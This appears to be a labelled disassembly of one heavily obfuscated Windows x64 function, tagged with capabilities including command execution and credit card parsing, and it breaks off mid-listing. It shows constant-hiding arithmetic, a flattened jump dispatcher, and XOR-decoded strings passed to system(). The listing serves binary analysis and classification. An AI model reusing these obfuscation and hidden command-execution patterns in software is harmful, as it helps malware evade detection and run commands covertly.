Function at 0x1400d0920
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Execute command
Get common file path
Hash data using murmur3
Parse credit card information

Disassembly:
push rax
pushf
mov eax, 0xa91863bd
pushf
not eax
add eax, 0xf9f3c33a
xor eax, 0x97d737ed
rol eax, 0x30
popf
pushf
not eax
add eax, 0xc9b8856b
xor eax, 0xf2b72c0f
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x92122d94
xor eax, 0xeeeb0a6f
rol eax, 0x9d
popf
cmp eax, 0x29
jne 0x1400d0970
popf
pop rax
jmp 0x1400d38d4
cmp eax, 0x48
jne 0x1400d097f
popf
pop rax
jmp 0x1400d5d23
cmp eax, 0x3f
jne 0x1400d098e
popf
pop rax
jmp 0x1400d5434
cmp eax, 1
jne 0x1400d099d
popf
pop rax
jmp 0x1400d0fc7
cmp eax, 0x4a
jne 0x1400d09ac
popf
pop rax
jmp 0x1400d5dbc
cmp eax, 0x1a
jne 0x1400d09bb
popf
pop rax
jmp 0x1400d252a
cmp eax, 0x44
jne 0x1400d09ca
popf
pop rax
jmp 0x1400d5b44
cmp eax, 0x31
jne 0x1400d09d9
popf
pop rax
jmp 0x1400d43f7
cmp eax, 0x40
jne 0x1400d09e8
popf
pop rax
jmp 0x1400d54cf
cmp eax, 8
jne 0x1400d09f7
popf
pop rax
jmp 0x1400d1b1f
cmp eax, 0x2a
jne 0x1400d0a06
popf
pop rax
jmp 0x1400d39fd
cmp eax, 0x17
jne 0x1400d0a15
popf
pop rax
jmp 0x1400d2316
cmp eax, 0x1c
jne 0x1400d0a24
popf
pop rax
jmp 0x1400d25d5
cmp eax, 0x2e
jne 0x1400d0a33
popf
pop rax
jmp 0x1400d41ab
cmp eax, 0x18
jne 0x1400d0a42
popf
pop rax
jmp 0x1400d2407
cmp eax, 0x2b
jne 0x1400d0a51
popf
pop rax
jmp 0x1400d3daf
cmp eax, 0x1b
jne 0x1400d0a60
popf
pop rax
jmp 0x1400d258a
cmp eax, 0x2d
jne 0x1400d0a6f
popf
pop rax
jmp 0x1400d412a
cmp eax, 0x23
jne 0x1400d0a7e
popf
pop rax
jmp 0x1400d326d
cmp eax, 0x25
jne 0x1400d0a8d
popf
pop rax
jmp 0x1400d3510
cmp eax, 0x43
jne 0x1400d0a9c
popf
pop rax
jmp 0x1400d57aa
cmp eax, 0x13
jne 0x1400d0aab
popf
pop rax
jmp 0x1400d2100
cmp eax, 0x33
jne 0x1400d0aba
popf
pop rax
jmp 0x1400d466e
cmp eax, 0x24
jne 0x1400d0ac9
popf
pop rax
jmp 0x1400d3493
cmp eax, 0x1e
jne 0x1400d0ad8
popf
pop rax
jmp 0x1400d29fc
cmp eax, 0xc
jne 0x1400d0ae7
popf
pop rax
jmp 0x1400d1d9a
cmp eax, 0x26
jne 0x1400d0af6
popf
pop rax
jmp 0x1400d3571
cmp eax, 0x27
jne 0x1400d0b05
popf
pop rax
jmp 0x1400d35cc
cmp eax, 0x30
jne 0x1400d0b14
popf
pop rax
jmp 0x1400d4388
cmp eax, 0x10
jne 0x1400d0b23
popf
pop rax
jmp 0x1400d1fa2
cmp eax, 0x37
jne 0x1400d0b32
popf
pop rax
jmp 0x1400d4a2c
cmp eax, 9
jne 0x1400d0b41
popf
pop rax
jmp 0x1400d1bd0
cmp eax, 0x39
jne 0x1400d0b50
popf
pop rax
jmp 0x1400d4b2e
cmp eax, 0x16
jne 0x1400d0b5f
popf
pop rax
jmp 0x1400d22c8
cmp eax, 0x3b
jne 0x1400d0b6e
popf
pop rax
jmp 0x1400d4f46
cmp eax, 0x4b
jne 0x1400d0b7d
popf
pop rax
jmp 0x1400d5e1b
cmp eax, 0x36
jne 0x1400d0b8c
popf
pop rax
jmp 0x1400d49cb
cmp eax, 0x14
jne 0x1400d0b9b
popf
pop rax
jmp 0x1400d2196
cmp eax, 0x46
jne 0x1400d0baa
popf
pop rax
jmp 0x1400d5c47
cmp eax, 0x3d
jne 0x1400d0bb9
popf
pop rax
jmp 0x1400d52fd
cmp eax, 2
jne 0x1400d0bc8
popf
pop rax
jmp 0x1400d1576
cmp eax, 0x47
jne 0x1400d0bd7
popf
pop rax
jmp 0x1400d5cd6
cmp eax, 0x41
jne 0x1400d0be6
popf
pop rax
jmp 0x1400d5551
cmp eax, 0x11
jne 0x1400d0bf5
popf
pop rax
jmp 0x1400d2008
cmp eax, 0x35
jne 0x1400d0c04
popf
pop rax
jmp 0x1400d494e
cmp eax, 0x3a
jne 0x1400d0c13
popf
pop rax
jmp 0x1400d4c31
cmp eax, 0x12
jne 0x1400d0c22
popf
pop rax
jmp 0x1400d203e
cmp eax, 0x21
jne 0x1400d0c31
popf
pop rax
jmp 0x1400d3024
cmp eax, 0x38
jne 0x1400d0c40
popf
pop rax
jmp 0x1400d4a87
cmp eax, 0xb
jne 0x1400d0c4f
popf
pop rax
jmp 0x1400d1d14
cmp eax, 0xf
jne 0x1400d0c5e
popf
pop rax
jmp 0x1400d1efe
cmp eax, 0x15
jne 0x1400d0c6d
popf
pop rax
jmp 0x1400d2228
cmp eax, 5
jne 0x1400d0c7c
popf
pop rax
jmp 0x1400d1976
cmp eax, 6
jne 0x1400d0c8b
popf
pop rax
jmp 0x1400d1a08
cmp eax, 0x22
jne 0x1400d0c9a
popf
pop rax
jmp 0x1400d30b0
cmp eax, 0x49
jne 0x1400d0ca9
popf
pop rax
jmp 0x1400d5d81
cmp eax, 0x1f
jne 0x1400d0cb8
popf
pop rax
jmp 0x1400d2cd5
cmp eax, 4
jne 0x1400d0cc7
popf
pop rax
jmp 0x1400d189f
cmp eax, 0x2f
jne 0x1400d0cd6
popf
pop rax
jmp 0x1400d42da
cmp eax, 0x28
jne 0x1400d0ce5
popf
pop rax
jmp 0x1400d3660
cmp eax, 0x3e
jne 0x1400d0cf4
popf
pop rax
jmp 0x1400d5358
cmp eax, 0x45
jne 0x1400d0d03
popf
pop rax
jmp 0x1400d5bb5
cmp eax, 0x2c
jne 0x1400d0d12
popf
pop rax
jmp 0x1400d3ebc
cmp eax, 3
jne 0x1400d0d21
popf
pop rax
jmp 0x1400d17f6
cmp eax, 0x19
jne 0x1400d0d30
popf
pop rax
jmp 0x1400d249b
cmp eax, 0x1d
jne 0x1400d0d3f
popf
pop rax
jmp 0x1400d2823
cmp eax, 0x34
jne 0x1400d0d4e
popf
pop rax
jmp 0x1400d46e5
cmp eax, 0x32
jne 0x1400d0d5d
popf
pop rax
jmp 0x1400d45f2
cmp eax, 0xe
jne 0x1400d0d6c
popf
pop rax
jmp 0x1400d1e9e
cmp eax, 0x42
jne 0x1400d0d7b
popf
pop rax
jmp 0x1400d562d
cmp eax, 7
jne 0x1400d0d8a
popf
pop rax
jmp 0x1400d1a74
cmp eax, 0x20
jne 0x1400d0d99
popf
pop rax
jmp 0x1400d2f08
cmp eax, 0
jne 0x1400d0da8
popf
pop rax
jmp 0x1400d0dd5
cmp eax, 0x3c
jne 0x1400d0db7
popf
pop rax
jmp 0x1400d507f
cmp eax, 0xd
jne 0x1400d0dc6
popf
pop rax
jmp 0x1400d1e33
cmp eax, 0xa
jne 0x1400d0dd5
popf
pop rax
jmp 0x1400d1d04
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r12d, r12d
lea rdx, [rbp + 0x130]
mov ecx, 0xe6057289
pushf
not ecx
add ecx, 0xb6ba02d3
xor ecx, 0xdc720880
rol ecx, 0xf1
popf
pushf
not ecx
add ecx, 0xbb56e04f
xor ecx, 0x8c85a29e
rol ecx, 0x46
popf
pushf
not ecx
add ecx, 0x98caee41
xor ecx, 0x8cc338e2
rol ecx, 0xf0
popf
pushf
not ecx
add ecx, 0xcde053a8
xor ecx, 0xdf42ae75
rol ecx, 0xfb
popf
jmp 0x1400d0e71
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movabs r14, 0x1fe7028290becc46
pushf
not r14
add r14, 0x4e20b8ac
xor r14, 0x42975dab
rol r14, 0xfc
popf
pushf
not r14
add r14, 0x53139bfc
xor r14, 0x47b28b1c
rol r14, 0x49
popf
pushf
not r14
add r14, 0x434cfcac
xor r14, 0x72c1fb61
rol r14, 0x95
popf
movabs rsi, 0x66697027a74822d1
pushf
not rsi
add rsi, 0x7b0207d3
xor rsi, 0x6eacc4e3
rol rsi, 0xa8
popf
pushf
not rsi
add rsi, 0x51ad8b3a
xor rsi, 0x76679a53
rol rsi, 0x94
popf
pushf
not rsi
add rsi, 0x7b18dd3d
xor rsi, 0x7893d2f4
rol rsi, 0x2e
popf
test eax, eax
jne 0x1400d0f81
push rax
pushf
mov eax, 0x8f2dc51e
pushf
not eax
add eax, 0xee9b0d03
xor eax, 0xc15ac132
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe248b90c
xor eax, 0xce3436b6
rol eax, 1
popf
pushf
not eax
add eax, 0x83d8709e
xor eax, 0xd9aa8f83
rol eax, 0x24
popf
pushf
not eax
add eax, 0x8aa0dd46
xor eax, 0xe83810cf
rol eax, 0x11
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x31f98bfc
pushf
not eax
add eax, 0xef2dde5f
xor eax, 0xb8b6d19f
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xad8e7c04
xor eax, 0xadf7c418
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xc75cfc60
xor eax, 0xfc9682bb
rol eax, 0xe
popf
jmp 0x1400d0961
movabs rax, 0xb722b751178c7d11
pushf
not rax
add rax, 0x78852cef
xor rax, 0x6c99facc
rol rax, 0x29
popf
pushf
not rax
add rax, 0x6579f02a
xor rax, 0x4b55a643
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x534b9ba6
xor rax, 0x6ec3dad6
rol rax, 0x80
popf
pushf
not rax
add rax, 0x588a9473
xor rax, 0x574c249b
rol rax, 0x2f
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0xdd772a048197caf2
pushf
not rax
add rax, 0x54b8854b
xor rax, 0x518675aa
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x5982e410
xor rax, 0x41cd9076
rol rax, 0xae
popf
pushf
not rax
add rax, 0x55820a19
xor rax, 0x68e73d38
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x6ac8a1a6
xor rax, 0x6c3aa878
rol rax, 0xea
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xfa11dcacca18d165
pushf
not rax
add rax, 0x67edf467
xor rax, 0x7fcd575d
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x7745272a
xor rax, 0x5859da0a
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x40f4a7d6
xor rax, 0x4b6af99d
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x7477ce9b
xor rax, 0x4fe0eb00
rol rax, 0x7f
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0x7722d8dfc4de19b8
pushf
not rax
add rax, 0x7336d705
xor rax, 0x68200841
rol rax, 0x29
popf
pushf
not rax
add rax, 0x54e2d33c
xor rax, 0x69b0dfee
rol rax, 0x55
popf
pushf
not rax
add rax, 0x641e90a4
xor rax, 0x64d98a32
rol rax, 0xb3
popf
mov qword [rbp + 0xe8], rax
movabs rax, 0xbe4489a17370a64f
pushf
not rax
add rax, 0x7b87992c
xor rax, 0x4a8a9a84
rol rax, 4
popf
pushf
not rax
add rax, 0x5b7b463f
xor rax, 0x4afb593d
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x40cf2dcc
xor rax, 0x66459ce2
rol rax, 0x63
popf
pushf
not rax
add rax, 0x64155e17
xor rax, 0x5873d63a
rol rax, 0x18
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0x861f0c7db611014d
pushf
not rax
add rax, 0x47819f3b
xor rax, 0x7e093051
rol rax, 0x95
popf
pushf
not rax
add rax, 0x6f21aeff
xor rax, 0x784e3e65
rol rax, 0x81
popf
pushf
not rax
add rax, 0x7bb8b7b2
xor rax, 0x4ed62df0
rol rax, 0x62
popf
pushf
not rax
add rax, 0x721eee51
xor rax, 0x6c714d25
rol rax, 0xfa
popf
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], rsi
movabs rax, 0x4e45d92b1ecd733a
pushf
not rax
add rax, 0x7c640a07
xor rax, 0x6e72cf6c
rol rax, 0x62
popf
pushf
not rax
add rax, 0x5ebc5e81
xor rax, 0x62707d9b
rol rax, 0x14
popf
pushf
not rax
add rax, 0x53aec986
xor rax, 0x708db4ba
rol rax, 9
popf
pushf
not rax
add rax, 0x7fd5c24b
xor rax, 0x7f6d9e45
rol rax, 0x73
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x49d24b8d91a22856
pushf
not rax
add rax, 0x74b5e7bc
xor rax, 0x4a041a12
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x43400cb7
xor rax, 0x74420bd8
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x4d009e35
xor rax, 0x65bad49f
rol rax, 0xf7
popf
pushf
not rax
add rax, 0x6b7b7065
xor rax, 0x559f20f5
rol rax, 0x86
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x7cac79e3a60c6755
pushf
not rax
add rax, 0x5893a9c7
xor rax, 0x6daee83b
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x74f283e3
xor rax, 0x5967be1d
rol rax, 2
popf
pushf
not rax
add rax, 0x54006b40
xor rax, 0x4cc60535
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x65d3e061
xor rax, 0x72fea4c1
rol rax, 0xa9
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x657d5d265f39f72a
pushf
not rax
add rax, 0x601e510b
xor rax, 0x5b4d3859
rol rax, 0xad
popf
pushf
not rax
add rax, 0x7629e2fb
xor rax, 0x575b7002
rol rax, 0x9d
popf
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d142e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d143a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18f826098]
pushf
sub rdx, 0x4f81e078
popf
mov rcx, rax
jmp 0x1400d1456
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xc244217f67366302
pushf
not rax
add rax, 0x49ba654e
xor rax, 0x5e2df71a
rol rax, 0x74
popf
pushf
not rax
add rax, 0x431201ff
xor rax, 0x4ed9d197
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x76425049
xor rax, 0x4195d881
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x7dde8f35
xor rax, 0x5d32e0a5
rol rax, 0x90
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d14f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d14fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400e231b
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x1f1d954170671575
pushf
not rax
add rax, 0x77ee4cfe
xor rax, 0x71f809de
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x50f18252
xor rax, 0x4e04209f
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x6324f842
xor rax, 0x6c6d3036
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x585acda2
xor rax, 0x4dd0ebd4
rol rax, 0x7a
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x960da283710a3cb0
pushf
not rax
add rax, 0x5485ae5f
xor rax, 0x7dcb1827
rol rax, 2
popf
pushf
not rax
add rax, 0x6f569e28
xor rax, 0x5ab14751
rol rax, 0x76
popf
pushf
not rax
add rax, 0x461d3fd2
xor rax, 0x586b2ca6
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x6d591438
xor rax, 0x4fd104cf
rol rax, 0x32
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xb06c26d2432f1e8e
pushf
not rax
add rax, 0x694d8795
xor rax, 0x57329605
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x4c8a56c6
xor rax, 0x45621b20
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x50c05bbd
xor rax, 0x572dd9e2
rol rax, 0xc2
popf
mov qword [rbp + 0xb0], rax
movabs r15, 0x98e4eca6483161dc
pushf
not r15
add r15, 0x79a28134
xor r15, 0x435687dd
rol r15, 0x8c
popf
pushf
not r15
add r15, 0x5a2d53e9
xor r15, 0x61a679d9
rol r15, 0x9b
popf
pushf
not r15
add r15, 0x469339ba
xor r15, 0x5dddd28f
rol r15, 0xa4
popf
pushf
not r15
add r15, 0x74150a24
xor r15, 0x6ef5be5d
rol r15, 0xc1
popf
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
movabs rax, 0xfa99d67fe4baee4
pushf
not rax
add rax, 0x71fb1f68
xor rax, 0x7b86f9a2
rol rax, 0x93
popf
pushf
not rax
add rax, 0x5c07ca4a
xor rax, 0x65372a12
rol rax, 0x43
popf
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xb0], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
lea rax, [rbp + 0x130]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
push rax
pushf
mov eax, 0xce33d53d
pushf
not eax
add eax, 0xb968e82b
xor eax, 0xb05913bd
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x8ca65d0e
xor eax, 0x8dd24632
rol eax, 0x89
popf
jmp 0x1400d0961
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1400d1846
push rax
pushf
mov eax, 0x809fdc89
pushf
not eax
add eax, 0xadccfeef
xor eax, 0x93af3d98
rol eax, 0x38
popf
pushf
not eax
add eax, 0x9ff286f2
xor eax, 0xb5ccf63a
rol eax, 0xff
popf
pushf
not eax
add eax, 0xd02d70d3
xor eax, 0xc430f55e
rol eax, 0x19
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xd45d1d5c
pushf
not eax
add eax, 0x90c4d5a0
xor eax, 0xaf656d8f
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xd54b6589
xor eax, 0xcf3b8992
rol eax, 6
popf
pushf
not eax
add eax, 0xb1b5a685
xor eax, 0xd9981ecf
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xbef3e107
xor eax, 0x9062511e
rol eax, 0xb7
popf
jmp 0x1400d0961
movabs r13, 0x28dacd84fdee47b
pushf
not r13
add r13, 0x74cb5c18
xor r13, 0x5093d063
rol r13, 0xe1
popf
pushf
not r13
add r13, 0x54c25c88
xor r13, 0x59ddbad5
rol r13, 0xd4
popf
pushf
not r13
add r13, 0x66ec04d0
xor r13, 0x57356b3b
rol r13, 0x23
popf
cmp rbx, r13
ja 0x1400d1943
push rax
pushf
mov eax, 0xa8c73f5e
pushf
not eax
add eax, 0xcf7e6720
xor eax, 0x84018333
rol eax, 0x97
popf
pushf
not eax
add eax, 0xdd5a7f60
xor eax, 0xe57dceff
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc482f2b6
xor eax, 0xb87b9b21
rol eax, 0xab
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x64b144bf
pushf
not eax
add eax, 0xf8965580
xor eax, 0x8754d986
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd2981280
xor eax, 0xc83f2f8c
rol eax, 0x3d
popf
jmp 0x1400d0961
cmp rbx, 7
ja 0x1400d19af
push rax
pushf
mov eax, 0xad59efe9
pushf
not eax
add eax, 0xea367b01
xor eax, 0xe9d93404
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xb3c64bcb
xor eax, 0xbe84c406
rol eax, 0xd6
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xde46192f
pushf
not eax
add eax, 0xa2982ed6
xor eax, 0xa61b5abf
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xd2d627dc
xor eax, 0xfa95e198
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xdfa867de
xor eax, 0xd718d5ff
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x9edb2870
xor eax, 0x9461b176
rol eax, 0xbf
popf
jmp 0x1400d0961
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0xd0], r12w
jmp 0x1400d20c2
mov rax, rbx
or rax, 7
cmp rax, r13
jbe 0x1400d1ad9
push rax
pushf
mov eax, 0x4d72738a
pushf
not eax
add eax, 0xcf1a195b
xor eax, 0xed1fe193
rol eax, 3
popf
pushf
not eax
add eax, 0x985ab81e
xor eax, 0xcfc8367e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xa30f6c78
xor eax, 0xfa3d56c4
rol eax, 5
popf
pushf
not eax
add eax, 0xcb16bb8d
xor eax, 0xaa302527
rol eax, 0xfe
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x5c68efca
pushf
not eax
add eax, 0xd08a5d34
xor eax, 0x9570e646
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x86ff1b49
xor eax, 0xa045c61c
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xc10847c6
xor eax, 0xbbe47925
rol eax, 0x42
popf
jmp 0x1400d0961
movabs rax, 0xd3ffffe424b55e02
pushf
not rax
add rax, 0x6345b659
xor rax, 0x4bc306a7
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x6780da60
xor rax, 0x73f24a4c
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x5ccc7e2f
xor rax, 0x6ea3c586
rol rax, 0x12
popf
lea rcx, [rax + rax]
jmp 0x1400d1d14
mov r13, rax
mov ecx, 0x369ae855
pushf
not ecx
add ecx, 0x9efe1613
xor ecx, 0x952bcc79
rol ecx, 0x48
popf
pushf
not ecx
add ecx, 0xea631480
xor ecx, 0xa1214f82
rol ecx, 0xcc
popf
cmp rax, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
movabs rax, 0x88cc050a7d33ffa4
pushf
not rax
add rax, 0x6a46a45d
xor rax, 0x7512a632
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x4a6b2931
xor rax, 0x4841469d
rol rax, 0x94
popf
pushf
not rax
add rax, 0x4c87d403
xor rax, 0x63396e97
rol rax, 0x10
popf
cmp rcx, rax
ja 0x1400d1cab
push rax
pushf
mov eax, 0xa35f5e5c
pushf
not eax
add eax, 0x8daa70bf
xor eax, 0x97f0702e
rol eax, 0x69
popf
pushf
not eax
add eax, 0xadb7de34
xor eax, 0xbc9841d7
rol eax, 0xff
popf
pushf
not eax
add eax, 0xa5b8f04f
xor eax, 0xc8836dd7
rol eax, 0x86
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x182de432
pushf
not eax
add eax, 0xbe3d1e95
xor eax, 0xbfbc827b
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe37b0722
xor eax, 0xf6315043
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xa1a0f102
xor eax, 0xd6d1b19b
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xc7914ffb
xor eax, 0xe455ba05
rol eax, 3
popf
jmp 0x1400d0961
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400d1efe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d1d67
push rax
pushf
mov eax, 0x36533cae
pushf
not eax
add eax, 0xb5666f0b
xor eax, 0x862c9baf
rol eax, 0x98
popf
pushf
not eax
add eax, 0x8b11a0ed
xor eax, 0xd266c1e5
rol eax, 0x38
popf
pushf
not eax
add eax, 0xa48f3816
xor eax, 0xfe79b975
rol eax, 0xee
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x442787df
pushf
not eax
add eax, 0xb29d74ac
xor eax, 0xe449d3d1
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x8f2f97b8
xor eax, 0x803dbf14
rol eax, 0x48
popf
jmp 0x1400d0961
mov rcx, rax
call fcn.14009ba54
test rax, rax
je 0x1400d1e00
push rax
pushf
mov eax, 0xf130e68a
pushf
not eax
add eax, 0xa639f057
xor eax, 0xf4ed4921
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa9f31b47
xor eax, 0xda74379e
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc7103e16
xor eax, 0xbacccb2c
rol eax, 0x63
popf
pushf
not eax
add eax, 0xc04e9c00
xor eax, 0xca2fdf4d
rol eax, 9
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x8f526d1c
pushf
not eax
add eax, 0x91e44963
xor eax, 0xc8adea5b
rol eax, 0x17
popf
pushf
not eax
add eax, 0xea5c89ce
xor eax, 0xdb796bb2
rol eax, 0x70
popf
jmp 0x1400d0961
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400d203e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400d1f5c
push rax
pushf
mov eax, 0x80c54155
pushf
not eax
add eax, 0xbe5cf453
xor eax, 0xe94705a5
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd4fb8d55
xor eax, 0xbcc2f4b9
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf937bd29
xor eax, 0xad31df8b
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb89f7b34
xor eax, 0xe232c9d8
rol eax, 0x93
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x5cd04c39
pushf
not eax
add eax, 0xe270e178
xor eax, 0xf34a5738
rol eax, 0x48
popf
pushf
not eax
add eax, 0x9c57c9b0
xor eax, 0xa0d3ea16
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfe39a741
xor eax, 0xabdb8496
rol eax, 0x1f
popf
jmp 0x1400d0961
call fcn.14009ba54
mov r15, rax
jmp 0x1400d203e
mov r15, r12
push rax
pushf
mov eax, 0x7d972806
pushf
not eax
add eax, 0x822a1b88
xor eax, 0xad931e27
rol eax, 0x10
popf
pushf
not eax
add eax, 0xb63167a1
xor eax, 0xc88ab79f
rol eax, 0x99
popf
jmp 0x1400d0961
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], r13
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [r15 + rbx], r12w
movabs r15, 0xfbf3cfc380057671
pushf
not r15
add r15, 0x72ac9bf0
xor r15, 0x50c16766
rol r15, 0x55
popf
pushf
not r15
add r15, 0x638c4573
xor r15, 0x7263dc10
rol r15, 0x42
popf
pushf
not r15
add r15, 0x5b6fb397
xor r15, 0x6a0ec970
rol r15, 0x56
popf
lea rax, [rbp + 0xa0]
nop dword [rax]
push rax
pushf
mov eax, 0x769b0a4d
pushf
not eax
add eax, 0x9e00247b
xor eax, 0xf3930860
rol eax, 8
popf
pushf
not eax
add eax, 0xe385796b
xor eax, 0xfe732b96
rol eax, 0x48
popf
jmp 0x1400d0961
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1400d2150
push rax
pushf
mov eax, 0xbb6bb564
pushf
not eax
add eax, 0xa6849cbb
xor eax, 0x8c43e5e0
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdb578f3c
xor eax, 0xc7662ec9
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xef78b888
xor eax, 0xff40d56e
rol eax, 0xc3
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x263fcde9
pushf
not eax
add eax, 0xf079dde6
xor eax, 0xe95acb6e
rol eax, 0x56
